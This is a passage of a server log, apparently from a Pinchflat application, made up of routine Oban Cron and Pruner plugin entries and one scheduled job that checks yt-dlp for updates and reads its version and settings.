{"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:22.098 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:52.100 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.368 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:22.102 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:52.104 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.369 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:22.106 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:52.108 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.370 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:22.110 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:52.112 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.371 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:22.114 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:52.116 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.374 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2621]} 11:42:00.381 [info] {"args":{},"id":2621,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"system_time":1765564920381645041,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 11:42:00.382 [info] Updating yt-dlp 11:42:00.382 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 11:42:02.120 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2025.12.08 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2025.12.08 from yt-dlp/yt-dlp) 11:42:02.120 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 11:42:03.527 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.12.08 11:42:03.528 [debug] QUERY OK source="settings" db=0.4ms idle=1898.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:42:03.529 [info] {"args":{},"id":2621,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3147142,"event":"job:stop","queue_time":380094,"attempt":1,"tags":["local_data"]} 11:42:22.118 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:52.119 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.375 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:22.122 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:52.124 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.376 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:22.126 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:52.128 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.377 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:22.130 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:52.132 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.378 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:22.134 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:52.136 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.379 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:22.138 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:52.140 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.380 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:22.142 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:52.144 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.381 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:22.146 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:52.148 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.382 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:22.150 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:52.152 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.383 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:22.154 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:52.156 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.384 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:22.158 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:52.160 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.385 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:22.162 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:52.164 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.386 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:22.166 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:52.168 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.387 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:22.170 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:52.172 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.388 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:22.174 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:52.176 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.389 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:22.178 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:52.180 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.390 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:22.182 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:52.184 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.391 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:22.186 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:52.188 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.393 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:22.190 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:52.192 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.394 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:22.194 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:52.196 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.395 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:22.198 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:52.200 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.396 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:22.202 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:52.204 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.397 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:22.207 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:52.209 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.398 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:22.211 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:52.213 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.399 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:22.215 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:52.217 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.400 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:22.219 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:52.221 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.401 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:22.223 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:52.225 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.402 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:22.227 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:52.229 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.403 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:22.231 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:52.233 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.404 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:22.235 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:52.237 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.405 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:22.240 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:52.242 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.406 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:22.244 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:52.246 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.407 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:22.248 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:52.250 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.408 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:22.252 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:52.254 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.409 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:22.256 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:52.258 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.410 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:22.260 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:52.262 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.411 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:22.264 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:52.266 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.412 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:22.268 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:52.270 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.413 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:22.272 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:52.274 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.414 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:22.276 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:52.278 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.415 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:22.280 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:52.282 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.416 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:22.284 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:52.286 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.417 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:22.288 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:52.290 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.418 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:22.292 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:52.294 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.419 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:22.296 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:52.298 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.420 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:22.300 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:52.302 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.421 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:22.304 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:52.306 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.422 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:22.308 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:52.310 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.423 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:22.312 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:52.314 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.424 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:22.317 [info] {"source":"oban","duration":2017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:52.319 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.425 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:22.321 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:52.323 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.426 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:22.325 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:52.327 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.427 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:22.329 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:52.331 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.428 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:22.333 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:52.335 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.429 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:22.337 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:52.339 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.430 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:22.341 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:52.343 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.431 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:22.345 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:52.347 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.432 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:22.349 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:52.351 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.433 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:22.353 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:52.355 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.434 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:22.357 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:52.359 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.435 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:22.361 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:52.364 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.436 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:22.366 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:52.368 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.437 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:22.370 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:52.372 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.438 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:22.374 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:52.376 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.439 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:22.378 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:52.380 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.441 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:22.382 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:52.384 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.442 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:22.386 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:52.388 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.443 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:22.390 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:52.392 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.444 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:22.394 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:52.396 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.445 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:22.398 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:52.400 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.446 [info] 